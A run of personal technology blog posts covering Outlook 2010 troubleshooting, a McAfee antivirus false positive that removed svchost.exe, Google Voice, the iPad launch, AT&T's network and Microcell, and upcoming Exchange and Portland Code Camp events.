One of the first things I noticed was the fact that there were communication failures to my hosted Exchange server see the red-outlined numbers above), and that the connections were taking a long time to establish themselves. The status would stay at “connecting” frequently, and that was always the same time when Outlook was hanging. So, I figured was getting somewhere. At least I had a likely correlation. The other Exchange server, which is domain-authenticated and available on the local network, wasn’t hanging. Connections were quick and reliable (as you can see from the numbers above) on that one.

That made me think some more. Every time I start Outlook, I am prompted to enter my credentials for the greghughes.net Exchange Server. Despite the fact that I click the “save password” box when I log in, I am always prompted when starting Outlook. I had planned to see if there was a certificate mismatch problem of some sort, but with the connecting communication failures happening, I wondered if there might be a problem with the credential being passed to the server. As you can see in the connection status windows picture, the connection is an Outlook RPC over HTTPS type, and so I went investigating in the account settings for the greghughes.net account:

Sure enough, I found what I suspected I might: Outlook was prompting me to enter a username and password – behavior that’s associated with basic authentication – but Outlook was configured to use NTLM authentication when connecting. So, logic says that it was trying for a NTLM auth, waiting around for it to time out, and then reverting to the lower-security username and password over HTTPS. That would probably explain the communication hangs, and why Outlook wasn’t saving the plain text credentials when I asked it to.

I changed the proxy authentication setting to use basic authentication, and restarted Outlook. I was prompted to enter my credentials once, and haven’t been asked since. And, the connection to the server is much more snappy and reliable.

I don’t really know why the communication hangs started up a few days ago. Perhaps something changed settings-wise when my svchost.exe file got eaten by my AV software. I have been running Outlook 10 beta for a couple months and it was a new issue (although the credentials pop-up was consistent since installation).

But, regardless it looks like at least one or two of the problems I was having are now solved. And that’s a good thing. Now I’m off to troubleshoot some auto-archiving issues.

Many users of McAfee's virus scanning products are experiencing some real pain today due to a false positive virus alert (for the wecorl.a virus) that is resulting in dcom error reboots and in many cases the removal of the valid Windows svchost.exe from affected systems.

Despite a massive slew of articles and posts made on web sites today saying a new virus is in the wild and infecting computers (typically referring to this is a zero-day vulnerability), this is not in fact a virus outbreak, as anyone who knows how to use Google and has a remotely curious mind can discover in a matter of seconds. It’s an antivirus false-positive. The wecorl.a trojan is a couple years old, and this is not it. Even if it was a virus, it would not be zero-day.

In a nutshell, McAfee made a big mess with their AV update early this morning, and they are working feverishly to fix it. Read on.

First of all, if you're affected by the problem described below, information about a workaround fix and an update is available from McAfee at the McAfee Threat Center web site:

• False positive detection of w32/wecorl.a in 5958 DAT - http://vil.nai.com/vil/5958_false.htm

One of my own computers fell victim to this today, and I've been fighting with it since. I just got it back online, restored to normal and fully operational. My problem started at about 7am today and so I was figuring it out on my own, but the instructions McAfee has provided for the workaround/fix (linked above) are basically the same thing.

A DAT (virus definition 5958) file that appears was released earlier today has an issue that causes the valid Microsoft svchost.exe critical system file to be flagged as infected. It's not infected, though. This appears to impact primarily Windows XP SP3 computers, but it could be broader than that. As a result of the false flagging of the file, the McAfee AV software takes action, which can include doing nothing, quarantining the file, or in some cases removing it completely (that's what happened to mine).

If the file is quarantined or deleted, Windows stops working normally and a lot of the typical Windows functionality just isn't there anymore. Things like start menus, drag and drop capabilities, copy and paste in Explorer, and a whole lot more. You can still open Task Manager and launch new tasks manually, and the CMD window interface (command line shell) works just like always, so it's possible to get around to fix it up.

If you are running McAfee Virus Scan and have a signature file version 5958 (open the "about" dialog and look for the DAT version), then it appears you are affected. Rolling back to 5957.0000 (which was issued 4/20) will resolve the issue. There is also an "extra.dat" file available that can be dropped into the McAfee AV scanner's DAT directory while in safe mode, and then the computer should be restarted. Or if you're a business using EPO to centrally manage your AV system, you can push it out with that.

But if your svchost.exe file has been quarantined or deleted, you'll have to do some hands-on repair (at east for now, until a better solution is put together). The link at the top of this article walks you through what's needed.

This is a serious challenge today for McAfee. Their web sites appear to be badly overloaded and I have friends in the business who are waiting on hold with McAfee for extended periods on time. In speaking with people working at other (huge) companies, it's apparent the impact is huge and widespread. Thousands of people who should be working are dead in the water now, so to speak, with no computer to do their work on.

I hate to think what the financial impact of this is. It's got to be huge. Follow the link above and check it for updates from McAfee as time goes on.

TechCrunch reports today that Google is dog-fooding (using and testing internally) a desktop app that lets you make Google Voice calls.

Google announced the acquisition of Gizmo5 last year, a company with an app that provides Internet based calling software for mobile phones and land lines. At that time they pointed out the Gizmo5 folks would be joining the Google Voice team and working to enhance Google Voice for the future: “Gizmo5's engineers will be joining the Google Voice team to continue improving the Google Voice and Gizmo5 experience.”

This is something to look forward to. Google Voice is a great service, and filling in some of the gaps in the current offering would round it out quite well.

UPDATE: At Download Squad, their sources inside Google indicate that something is coming, as well: “…Google sources have confirmed this as well, saying "We're looking at a full, free, VOIP/SMS desktop client...It's amazing.”

Richard and I recently interviewed Nick Simons, a program manager at Microsoft who works on the Office Web Apps. He’s been there quite a while, and can say (with pride) that he killed Clippy, that annoying little character that thought he knew what you were trying to do, but often got it wrong and ultimately got removed from the office suite.

In our interview on RunAs Radio this week, Nick discusses Microsoft’s Office Web Apps and how people can use Office 2010 and the Web Apps to share and collaborate, and how it all integrates with SharePoint 2010 and Windows Live Skydrive.

He also briefly describes how they killed Clippy back in the day, and why.

Nick Simons Puts Office on the Web
RunAs Radio Show #155 -- 4/7/2010 (36 minutes)

• This week’s show page on RunAsRadio.com (with RSS feeds and various available file formats)
• Direct link to the MP3
• RSS feed to subscribe to the MP3 format

I have two different Exchange Servers and associated accounts open and active at the same time in my copy of Outlook 2010. That’s a new feature in the new version of Outlook, by the way: multiple Exchange accounts visible in one profile – Quite a great change over previous versions!

I’ve had a problem ever since installing this beta copy of Office 14, though. In the to-do bar (that sidebar thing on the right side of the Outlook window that shows you a bunch of info such as monthly calendars, upcoming appointments, contacts, tasks, etc.) the calendar from which appointments were being displayed was not the calendar I wanted. The info being shown there was not useful, because that calendar wasn’t the one I use.

So, I was trying to figure out how to change the calendar displayed there to the one associated with my other Exchange account. How Outlook chose which calendar to display, as far as I could tell, was a matter of which Exchange Server I set  up first when I installed Outlook.

I tried a number of things, including looking at every setting available in Outlook’s Options screens, changing the default mail account in the Outlook account properties dialog, and searching the registry for info, but in the end it was something much simpler. It took a bit of trial and error, but I finally figured it out.

What fixed it was calling up the account info screen (File > Info), then opening the “Account Settings” dialog, switching to the “Data Files” tab, highlighting the OST file associated with the account that contains the calendar I wanted to have displayed, and then clicking the “Set as Default” button. Then I closed the dialog box, shut down Outlook and restarted it, and lo and behold the correct calendar was showing. Freakin’ magic, I tell ya.

You’d think this solution might be a bit easier to find (I searched far and wide in the help and on the web), but at any rate it’s fixed now. And since I will probably forget the next time I need to do this, here it is recorded for posterity’s sake.

The Outlook Blog has a bunch of cool info about the Outlook 2010 version that users should find interesting and useful. Anyone know any other cool little tweaking tricks for Outlook 2010 that people should know about?

I drove down to Best Buy today to check out the iPads they had on display and for sale. It was about 1:30 p.m. when we arrived and they still had quite a few in stock, but only the 32GB and 64GB models. The 16GB iPads had sold out just before we arrived.

My impressions of the device were this: It was a little heavier than I thought it would be, and a little thicker feeling, but a nice size. It has a great display and is very snappy and responsive. The iPhone apps displayed at 2x resolution were generally pretty blocky looking, but useable at least until a higher-resolution version is released. I wouldn’t want to keep viewing some of them for too long just because it was hard to look at them that way for more than a few minutes. Maybe I’m just spoiled.

Why do I want one of these things? There are a variety of reasons, but one particular reason tops my list. I’m very much looking forward to running ForeFlight Mobile HD on the iPad in the future. The picture on the right shows a couple cool screens of the aviation application revamped for the iPad’s larger display. They’ve iPad-ified acreens for plates, maps, weather, downloads, and airport data. They’ll be adding a bunch of other iPad enhancements in a future update.

Anyhow, back to my check-out-the-iPad experience… The Best Buy sales guy said ( in a “you didn’t hear it from me” sort of way) that they would have another shipment of them in next Sunday. For what it’s worth. I asked for and got a paper from the guy entitling me to go to the front counter and pick up a 32GB model and continued to shop at the store. But, as I thought about it I kept returning to my position over the past few days: The iPad doesn’t have enough value for me without the 3G radio built in. I was considering buying one for use around the house, but just couldn’t justify buying two of these in the first month.

So, I returned the paper to the floor sales guy and said thanks, but I was going to wait for the 3G models. He nodded and said he understood.

It’s a cool device with a nice interface. It’s a lot like a big iPod Touch or iPhone, as the kids pointed out. But it also can do more than the smaller devices in terms of app capabilities and performance.

I’ll pick one up once the 3G models are out. For now, I’ll wait.

I’m a power user of both Google Voice and Microsoft Outlook (currently using the 2010 beta version at home). One of the interesting little speed bumps that accompanies the Google Voice service is the fact that, in order to have a phone call to one of your contacts appear as if it’s being initiated from your Google Voice number, you have to dial out to a custom phone number that the Google Voice service provides/assigns to every number you dial.

In other words, let’s say I want to call (999) 888-7777 from my cell phone. And that I want the Caller ID info to display my Google Voice phone number, not my cell phone’s information. In order to do this, I have a few options:

• Dial via the Google Voice browser interface – GV allows me to enter a number from the web interface (or click to call a GV contact), which results first in my phone ringing, and then when I answer it I wait on the line while the service dials the person I am trying to call. GV acts as a sort of automated operator, connecting me and the other party.
• Dial a special unique phone number – Specifically a number assigned by Google Voice, which is a sort of “proxy” number. Typically beginning with area code 406, I have to know the number to dial. If I dial that number, the GV service forwards the call to the proper recipient’s phone number, and their phone rings. Google Voice sends my GV caller ID info to their phone. The problem is, I have to have a way to actually find out this number, and the only practical way to do so is to ask the person to send a text message to my GV phone number. Magically, when they do that GV shows the special (406) number that I need as the number that sent the txt message. It works, but it’s kludgy.
• Use the Google Voice iPhone web app to dial any phone number – This option allows me to dial someone similar to the “proxy number” option above, except that I don’t actually have to know the proxy number ahead of time. Interestingly, the iPhone app sends the recipient’s actual phone number to the GV service, then gets a (406) proxy number back and presents me with a brief dialing to call that number. So, it handles the “What number should I call” problem and doesn’t require me to convince my friend to send me a txt message to find out his or her 406 number.

So – That last option raises some interesting questions. The iPhone/mobile web app is apparently capable of taking, via some API, a phone number and then returning a GV number to dial. Now, I haven’t snooped the network traffic or looked to see how this is actually done under the hood, but it makes me think. Assuming that there’s for sort of API available, how else might I want to use it?

It’s not too much of a stretch: Since I use a GV number for my work number in my home office, it would be *very* useful to me to be able to click on a phone number in Outlook (in an email, in a contact, etc.) and have it dial the (406) number that the GV service can possibly provide. A nice, clean way to dial wherever the number appears on the screen would be great to have. Unfortunately, Office 2010 appears to have removed support for it’s old Phone Number Smart Tag (all smart tags seem to be deprecated, in fact). So how to recognize and hook into phone numbers would be one of many open questions.

I can imagine some other probable complicated moving parts that have to be accounted for (for example, authentication and user context: Does GV appears to assign the same (406) numbers to multiple GV users, but for different numbers. In other words, where a given number in the context of my account might dial 999-888-7777, the same (406) number on another GV account might be assigned to ring 555-444-3333).

But -- if it can be done, this seems like something that people would be willing to buy for say, $9.95 or so a pop. I know I would. Or maybe Google should build it an ship it for free, just to push adoption and gain some traction among the Outlook-anchored crowd.

I decided the other day that I won’t be in the lines on Saturday morning when the iPad becomes available at Apple stores and Best Buys around the country. Cory Doctorow also says he won’t buy one, but for different reasons. He goes so far as to say you shouldn't get one either. Interesting arguments. I’ve discussed before – here on this site - some of the reasons I think I want one, as well as some of the concerns I have about it, and in the end I do want to acquire one.

But, this Saturday’s event won’t be for me.

Why? I’m going to wait for the 3G-equipped model.

The more I think about it, the more I realize I need portability in the iPad if I am going to use it, meaning portability and network access across the boundaries and gaps of WiFi networks. I plan to use an iPad from the road, in the hangar, at any random place where I might land and want to check a weather report and email, that sort of thing. So, without an available-most-everywhere data service (a phrase that some, I know, will debate at length), it just won’t meet my needs.

So, I wait.

Anyone else waiting for the 3G models before buying? Too bad they’re not available on day-one. I’d grab my lawn line chair and head right down there if they were.

Update: A good New York Times article talks about perceptions, limitations and redundancy in the iPad. Interesting perspective.

A guy named Chad contacted me today and asked if I knew how to get the newest version of Blackberry Messenger (which, as of the time of this writing is v5.0.0.57) on his Blackberry device. He was having problems finding it because his BB Desktop Manager software would not find the update, he said. After some questions and answers, I found the page linked below on the Blackberry support web site, which allows you to send a link to your BB so you can download and install the software app (assuming you have rights to install apps on your phone, of course).

• You can visit this page in any browser and enter your email address to be sent a link, or…
• you can go to this link with your Blackberry browser and get the software that way, or…
• you can get it through AppWorld (which I know very little about since I am more of an iPhone app guy)

Once installed, you may have to reboot your Blackberry device.

Hopefully that helps someone else!

You could argue that one shouldn’t complain about a product before it lands in your hot little hands, but a common theme over the past few days among the pundits on the web has been the newly-announced iPad and it’s apparent lack of openness. as Alex Payne comments, “Apple has decided that openness is not a quality that’s necessary in a personal computer. That’s disturbing.”

While I think the iPad is a cool device, and that it will be useful, and that I will likely buy one… I have to agree with Alex. He’s right. That’s an interesting and complicated place to be: I want to and probably will use an iPad to do good things, and make valuable use of it. But there’s a big part of me that won’t like it too much.

The risks of closed platforms have been debated for some time, in many venues and over a variety of companies, platforms and systems. Lots of catchy terms like “walled garden” and “black box” are used to describe essentially one thing: Vendor-provided ecosystems that you can only interact with they way the vendor allows you to.

It’s why the iPhone “hacking” community has been so active, and so popular. Everywhere I see teenagers and aducts with iPhones that have been “jailbroken” so they could run third party apps and get around Apple-instituted limitations, or unlocked so they could drop in a T-Mobile SIM card. The numbers are staggering when you look at how many iPhones have been modified. And I think we all know that the same community will step up and take the same approach with the iPad. After all, “it’s just a big iPod touch,” as they say. Well, whether you look at it that way or not, the software is a common denominator for sure.

Apple needs to step up and find a way to work their garden so the walls can at least be lower. There must be a healthy balance between truly closed, which is what we have today. Apps can’t be installed on the iPhone unless Apple sells and approves then (unless you jailbreak your device). Allow multitasking and background application activity, in the very least. Some restrictions are simply unacceptable.

The closed nature of the device – and I call it that purposefully – foretells the possible future, one where consumer devices replace computing systems. The iPad may have a computer chip in it, but so do my clock radio and televisions, and those are devices – not computers. If I can’t have unfettered access to the computer, it’s a device in my mind. When I was a kid we used to get into the guts of the computer, physically and programming-wise. We were able to make them do whatever our little hearts desired. That might be something good or bad, smart or stupid, broken or functional. But we learned and we created, we discovered and we built.

The iPad is a design feat (with a fat bezel, but still a cool design). The OS is another design usability marvel. The ecosystem built around the devices is popular, usable and works. But it stifles creativity, choice, flexibility. Are we at another of these inflection points, where things like common-person usability and “it just works” are acceptable trade-offs for flexibility and capability?

My hope is that Apple will step up to the plate and make some hard choices that benefit their customers’ bigger-picture needs. It’s the right thing to do, and would add some traction to what otherwise appears to be a deceptively  slippery slope. I can envision a software switch (which would be set to the “safest” mode by default) that a device user could manipulate to “lower the garden walls” electronically as a matter of choice, with the potential consequences clearly spelled out (and I should point out that this would be a useful enterprise capability as well, should they wish to properly and securely enter that space someday).

Choice. What a concept.

Ready – Set – Comment.

Apple is taking the covers off a new “tablet” style device today – called the iPad (link to Apple’s new product site, with video) - in a much-hyped announcement. I rely on my iPhone in so many different ways nowadays that I have a hard time thinking what work and life would be like without it. I could manage just fine, but things would change substantially.

One of the things I do a lot with my iPhone is pilot-related. I have a number of apps on the iPhone that I use to help me look at aviation weather, airport information and diagrams, radar images, current wind and weather conditions, electronic charts, and a whole lot more.

But the iPhone is a small screen for a lot of the information. Much like small GPS devices in the cockpit are convenient yet too small to offer the best experience, the iPhone doesn’t provide the best format for some content.

Here are the iPhone aviation and pilot apps I use most often:

• ForeFlight Mobile – worth every penny and more, this is an amazing app for planning flight, filing your flight plan, lot of maps (VFR/IFR/street/weather/clouds), electronic airport information, weather info to the max (including closest station winds aloft) and much much much more.
• CoPilot – I use it mostly for the terrific weight and balance calculator and graphing portion of the app. Also for some speed/distance/fuel/etc. calculations (all of which I always verify manually). If ForeFlight had all this included, it would be terrific.
• AeroWeather – Probably the app I run most often. One tap on the screen and I have an instant one-screen view (very well laid-out) of the weather situation at each airport I care about, arranged the way I want.
• TWC (The Weather Channel) – Not an aviation app, but it has a good 10-day view of the weather that tends to show the most pessimistic look at what’s forecasted, which is nice for pilots. We need an aviation-specific app with a long-term view like this one has (within reasonable predication limits).

Enter the Apple iPad. Half and inch thick, 1.5 pounds and a 9.7-inch display. And it can run ALL iPhone apps out of the box, pixel for pixel with a border, or via pixel doubling in full-screen mode. A new SDK lets app developers take full advantage of the screen real estate and resolution.

And, there’s 3G service for $14.99/month for 250MB of data, or $29.99 for unlimited data - from AT&T. Free AT&T WiFi hotspot use with those accounts, too. But, the iPad 3G models are unlocked, so choose your GSM carrier. Prices for iPads start at $499 for a 16GB WiFi only model (with options of 32GB and 64GB storage), and 3G models for $629, $729 and $829. WiFi models available in 60 days, and 3G versions in 90 days.

Now, granted I am predicting the future a bit here, but hopefully ForeFlight and a few other iPhone apps on the new tablet will – assuming they all take advantage of the new display capabilities in updates – be the most perfect in-between device option for the private pilot.

Grab a copy of the latest AFD as an eBook? There’s an app for that.

I can even imagine Garmin or some other aviation GPS software/hardware maker offering a iPad app for sale, rather than selling a device with the software. The possibilities for flying – after accounting for very necessary safety and quality requirements - are great.

Anyone else think they might want an iPad for their aircraft cockpit?

I have had (SORRY - ALL GONE!) two Google Voice account invitations for anyone who wants one. First come, first served.

If you want to know what Google Voice is, check out their videos that do a good job of describing what it does and how it works here. For now it's available by invitation only, so you can either get one from someone who has extras, or you can sign up for an invitation from Google at this link.

I'll update this post when t The invites have all been taken. I'll post again if and when I have any more available.

One of the upcoming online summits at BrightTalk is the Cloud Security Summit, which consists of a bunch of web conferences on September 30th.

You can visit the summit overview and schedule page here.

Lots of topics around security, legal issues and compliance in the context of cloud computing. Good stuff. Recently on RunAs Radio we have have had a couple discussions where cloud computing came up, too.

• RunAs Radio #126: Steve Riley is Up in the Clouds
• RunAs Radio #123: Andy Malone Battles Security in the Clouds

I've been asked/directed to figure out a good, friendly, reliable and especially non-geek-usable way to do shared calendars where everything just works. If you have any bright ideas let me know. Here is what I have come up with and am thinking about so far:

• Google Calendars on a new Google Apps domain - I have already acquired and set up a custom domain (ourfamily.cc) so we can have individual and shared calendars, docs, email, chat etc. in that environment. We want to share calendar details with each other, not the whole world.
  
• My other calendars at greghughes.net - I have this hodge-podge of Hosted Exchange and Google Apps Calendars on this domain. I will need to find a good way to sync and share the info without sharing it to everyone.
  
• Work calendar(s) - Typically on Exchange and accessed via Outlook, and I need to share only the free/busy data, and only for certain item categories to be appropriately security-conscious.
  
• TripIt calendar(s) - for travel arrangements, keeps things automagical and simple. Want to incorporate those.
  
• Access via Mac (iCal or Entourage), PC (Outlook), mobile phone (Android and iPhone) and via the web (Google Apps), with all the info always synced and up-to-date.
  

I've read over my friend Scott Hanselman's notes about how he has set up his system for similar needs, but that post is about a year old and he refers to some unnamed, secret-sounding plugins so I will need to touch base with him and see what he knows and thinks. In the podcast he and Carl Franklin recorded on the subject back in 2007, Scott noted "the fact that it's no trivial task and I struggled with it speaks to the state of Internet calendars in general." Surely things must have improved since then.

And then there's this blog post. Wow, uber-geekness.

I've used Google Calendar Sync before, but the laptop it ran on has since taken a long dive off a cliff and is no longer with us. I think I probably need to check out SyncMyCal, as it would allow me to be more granular than with Google's app. A comparison with Google Calendar Sync is here.

Someone really should write a tool that does all this or all of us, cross-platform, and make it all Automagical (tm). Anyone want to partner on a project?

What's worked for you? Anything? Let me know!

I’m an Exchange 2007 user. It’s terrific, works great and is truly the standard by which others are judged when it comes to business email, calendaring, contacts and other key business productivity features.

Being both a Mac and a PC guy, I’ve been the tester, owner and user of a variety of different applications to interface to Exchange. Outlook 2007 on the PC is a pretty obvious choice, and again it’s a standard by which others are often judged. But on the Mac I have been using Entourage for some time, with mixed opinion and results. It’s a good attempt at filling the gap left by the fact that there is no Outlook for the Mac, but it lacks in both features and stability.

However, on this fin gray Saturday morning I find myself once again examining the world of Exchange and the Mac. As I type this my Mac is going through the upgrade process and transforming itself into a Snow Leopard (OSX v10.6) machine. I’ve also downloaded the Entourage Web Services Edition upgrade from Microsoft, which is waiting on the Mac hard drive to install after the OS upgrade is completed.

My plan here is to set up and run under the new native-Exchange 2007 support in OSX Snow Leopard while at the same time checking out the new Entourage Web Services Edition features.

I should also note that earlier this month, Microsoft announced it will be releasing (finally!) a new Outlook client for the Mac in 2010. The expected “too late” crowd has been chiming in with their opinions, but in The Real World, where people older than 13 years actually make decisions about buying software for business use, this may be a big deal. It’s at least somewhat inevitable that Macs will become more common in the workplace, and the need for a consistent collaboration and productivity platform will full-fidelity, complete feature sets across OS platforms is critical to making business work.

I’ll post more details and thoughts once I get some of the setup and comparisons done over the next couple days. Meanwhile, I need to get packing some more cardboard boxes here at home so I can load them up… For anyone who might have noticed I have been absent from writing here, I am in the process of selling my house and will be getting married in October, so my world is a bit busy these days. But I am not gone. :)

Google Voice is awesome. It's the greatest service you can't get yet today. One number for all my phones, for life, replete with text messaging capabilities and a whole slew of cool features.

But, as much as I love Google Voice, I will stand on my soapbox here for a few moments to yell into the ether about a couple of glaring omissions in the current release that I think Google should address sooner rather than later: MMS message support, and support for sending a mobile message (whether SMS or MMS) to multiple recipients at the same time.

MMS messages are multimedia messages and are sent much like a text message. They're different than SMS message sin that they might include a video or a picture. Right now, if I want to receive a MMS message, I have to tell people to send them to my actual cell number, not my google voice number. Why? Because Google Voice quietly and calmly eats MMS messages, never to be seen again. This completely defeats the purpose behind the "one-number-for-them-all" story. So, it needs to change. When the iPhone on AT&T gets MMS service, which is likely to happen in July sometime, this need will become even more apparent and important.

MMS support could probably be delivered in two phases. Right now if you send a MMS message to the Google Voice number, it just disappears into the ether, and is never delivered anywhere. You don't even know someone tried and the sender assumes it was delivered. To rectify this, Google could do a first phase change where MMS messages would simply be forwarded in original form to the mobile phone(s) configured in the system, without worrying about displaying them in the Google Voice web interface. In a second phase they could then enable web-based viewing.

Second on my list is adding the ability to send an SMS (and MMS as a bonus) message to a group of recipients. We already have contact groups, and we can select more than one contact at a time in the web interface, but the option to send a SMS message disappears from the user interface as soon as you select more than one recipient. I regularly use SMS messages to notify members of a church youth group about meetings and other announcements as a group, so enabling a group-send as well as select-multiple to send SMS would be huge for me. As a bonus, provide me with a phone number that is virtually tied to that group so I can send one txt to my group number on my mobile phone.

What features would you like to see added to Google Voice?

The latest news via Unstrung's Michelle Donegan is that AT&T's 3G Microcell, which has been in a limited and private beta in the United States for a few months now, will be available in a sort of public beta in the coming weeks, in select (and as-yet unnamed) cities. The 3G Microcell is a device that you plus into your broadband connection at home. It has a 3G transceiver built in, and allows you to create a small cell area of coverage (hence the name "microcell" of course). I've written about it before, here and here.

From the news article:

According to AT&T's executive director for radio access network delivery, Gordon Mansfield, who was speaking at the Femtocells World Summit in London today, about 200 users are testing the femto service in targeted customer trials.

In the coming weeks, he added, "we will expand that into a marketing trial of the AT&T-branded 3G Microcell, which will be open to customers through our AT&T stores… in a handful of cities.

"We're on track for a full national launch by the end of 2009."

The equipment comes from network infrastructure equipment giant Cisco.

I'm hoping that Portland is one of the metro areas they include in the text phase, since my home has pretty much zero coverage. But I do have broadband and would truly benefit from the product.

AT&T plans to add a whole bunch of 850 Mhz spectrum to it's 3G service infrastructure, which should improve it's network performance and capacity substantially. Many have experienced the dropped call and unavailable network performance issues on AT&T's network, so this is a welcome change. But for those of us who simply live just outside the workable coverage area, the 3G Microcell will open even more doors for its customers.

Today Apple announced the next rev of the iPhone, the "iPhone 3GS." It has beefed up processing power and some cool new features like a better camera, more storage, etc.

Normally I'd be ultra excited about getting one as soon as its available. But this time around, I'm having a hard time getting inspired.

It has nothing to do with Apple's hardware and software. In fact, the processing power boosts and other changes are very, very tempting, and in a world where all else was equal it would be a no-brainer for me to drop the early upgrade cash on the table and move on up.

But the fact of the matter is, with AT&T's ultra-poor network performance on my current iPhone 3G, I think I'm better off waiting until Apple adds another U.S. carrier. I consistently have to turn off the 3G capabilities on iPhone 3G in order to avoid dropped calls and to successfully get network connections. That was the case with the first iPhone 3G I had, too. To top it all off, the service has gotten worse recently in my experience. I just can't see dropping that much cash for a new phone to operate on a network that already sucks. I've been sorely disappointed by AT&T, almost to the point where I want to call them and tell them they've consistently failed to perform to the level of service they claim (which is 100% the case).

It's time for Apple to drop that bomb on AT&T. Failure to perform in this case is going to cost Apple market share. It's got to be embarrassing to the company. During the announcements made today at Apple's World Wide Developer Conference, every time AT&T was mentioned the crowd just laughed. Seriously laughed, and not because there was a funny joke. It was because AT&T's quality is so lacking one just can' t help but either laugh or cry. They even laughed when AT&T was not mentioned - most notably with regard the fact that the carrier's logo was missing from some key slides in the presentation, pointing out AT&T's lack of launch time support for MMS and tethering, two of the key selling points for the new phone model.

AT&T has turned into that partner that Apple doesn't need, and shouldn't want. It's time to make a change. AT&T has simply failed to perform. When you can't reliably make and maintain calls and the data network won't keep a connection between towers, something's just not good enough. I hope Apple will step up - sooner rather than later - and add another carrier or two even before AT&T's exclusive agreement expires. It takes two to be successful in any partnership, and in this one AT&T's turned into a bit of a boat anchor.

What would change my mind on this one? Simple: When my current 3G phones work like they should on AT&Ts network, I'll be the first one to say so right here. Out loud and with conviction. But, I'm not holding my breath quite yet.Tmobile

Maybe a good jailbreaking and switch to Tmobile will work on the new OS and device. I'm sure someone will figure out out. Desperate times call for desperate measures. We shall see.

Shorthand used to be reserved for stenographers and people who took dictation or a lot of notes. But for the vast majority of us it was never fun. Remember those days? Now shorthand is cool again, but in text messages sent and received on cell phones. And it seems as if everyone under 25 is doing it (as well as some of us old people).

Parents, if you're lost in the world of texting because the abbreviated vocabulary is confusing, no worries. Mobile phone manufacturer LG has released a new web site that allows you to decode txt message slang, and you can use it at http://www.lgdtxtr.com/.

So now you can get a better handle on what your kids are up to. Enjoy.

Exchange Server 2010 is just around the corner, and Microsoft is gearing up to present a month of webcasts starting June 1st to introduce the new version to us. The webcast schedule is below. You can get the beta of Exchange Server 2010 here.

6/1/09 - 9:00am PT: TechNet Webcast: Exchange 2010 High Availability
Welcome to the future! The future of Exchange high availability, that is. In this webcast, we reveal the changes and improvements to the built-in high availability platform in Exchange Server 2010. Exchange 2010 includes a unified framework for high availability and disaster recovery that is quick to deploy and easy to manage. Learn about all of the new features in Exchange 2010 that make it the most resilient, highly available version of Exchange ever.

6/3/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Overview
This webcast will introduce you to Exchange Server 2010, reviewing the major areas of investment for this release and highlighting marquee features.

6/8/09 - 1:00pm PT: TechNet Webcast: Exchange 2010 Management Tools
Exchange 2010 includes new capabilities that make the operation of your Exchange environment more efficient. Learn how we've made the Exchange Management Console more powerful, extended the reach of PowerShell, and made it easier to delegate management tasks.

6/10/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Archiving and Retention
This webcast will introduce new ways to address archiving and retention with Exchange Server 2010.

6/15/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Outlook Web Access
Exchange 2010 brings new features and functionality to Outlook Web Access. See product demonstrations of the latest capabilities and understand how browser-based communication and collaboration gets better than ever in Exchange 2010.

6/17/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Architecture
This webcast describes the overall architecture of Exchange 2010 and key considerations for the scalability and performance of each server role. This webcast will provide the background and framework for the other Exchange 2010 webcasts, serving as a bridge between the overview session and drill-downs in each product area. This webcast is a recommended pre-requisite for the Exchange 2010 transition and deployment webcast.

6/22/09 - 9:00am PT: TechNet Webcast: Federation in Exchange 2010
Federation is a key part of the architecture of Exchange 2010, powering new organization-to-organization sharing scenarios. Learn how federation enhances the capabilities of Exchange 2010 and enables advanced coexistence between Exchange Server and Exchange Online.

6/24/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Voice Mail enabled by Unified Messaging
Exchange 2010 Unified Messaging is Microsoft's second generation unified messaging and voice mail solution. In this webcast, learn about the features, benefits, and architecture of Unified Messaging in Exchange 2010.

6/24/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Information Protection and Control
This webcast will introduce you to new ways to address information protection and control with Exchange Server 2010. A discussion of the use of encryption and rights management in parallel with Exchange will be included as well as an introduction to new functionality in Exchange that supports information protection scenarios.

7/1/09 - 9:00am PT: TechNet Webcast: Exchange 2010 Transition and Deployment
In this session we will cover the migration planning and deployment path to move an organization from Exchange 2003 or Exchange 2007 to Exchange 2010.

If you're in or anywhere close to Portland, Oregon and you care about software development from a coder's perspective, there's a terrific (and FREE) event coming up on May 30th that you should definitely attend: Portland Code Camp 2009.

If you're interested in learning from cool, smart people or if you have some area of code passion you'd like to share with others (no experience necessary - seriously!), then go check it out and sign up now.

The 2009 Portland Code Camp is a free mini-conference that is a community-driven event by, and for people who write software. The event features sessions on all kinds of software and technologies, regardless of language, vendor, or platform. Code camp brings the software development community together, focusing on the common act of creating software. It is designed for all interest, all levels, and all ages.

Be a Presenter! The 2009 Portland Code Camp is a great opportunity to present a session on a piece of code, a technology, or a project that excites you. Share your knowledge and experience with others. If you've never presented in public before, code camp gives you a opportunity in a warm, friendly setting.

About this FREE Community Event in Portland

A. Concept. Portland Code Camp is a community event focused on the needs and interests of the developer community, and where we can learn from each other. Anyone is welcome to attend and anyone can propose a session on any development related topic. Final session selection is based on the interest expressed by those planning to attend. If the developer community is not interested in a topic, it just doesn’t make the ‘cut’.

B. Community. Portland Code Camp is about the developer community. ‘Real’ developers, not business interests guide all stages of planning for the event. And ‘real’ developers (those planning to attend) express their interest in session topics.

C. Cost. Portland Code Camp will always be ‘FREE’ to the developer community. There are no charges to attend any of the Portland Code Camp activities. We do raise funds from Sponsors, but Sponsors have no control over the sessions selected.

D. Sessions. Sessions may range from ‘white board’ discussions to down in the trenches coding. Session presenters should present materials that is their own original or derivative work, free of copyright encumbrances. All session materials, code samples, scripts, even slides, will be made available to attendees. Session presenters should only offer material, including code, that is available to re-use, adapt, and alter for the attendee’s own education, projects and even work.

E. Presenters. Anyone is encouraged to offer a presentation. Portland Code Camp provides a ‘low-key’ opportunity for inexperienced folks to make their first public presentation efforts. Some presenters will be experienced and some will be making their first public presentation. The Portland Code Camp audience is quite supportive of first time presenters. Most presenters will be from the Portland area, while a few may be from outside the area.

F. Code. Portland Code Camp sessions will focus on coding –with few exceptions. We encourage presenters to keep their presentations with the realm of ‘code’; a few sessions may have such informative value that they will be permitted without code. But such sessions will only occur if they garner sufficient interest (see paragraph ‘A’ above).

G. Schedule. Portland Code Camp occurs on evenings and weekends in order to reduce work related scheduling conflicts.

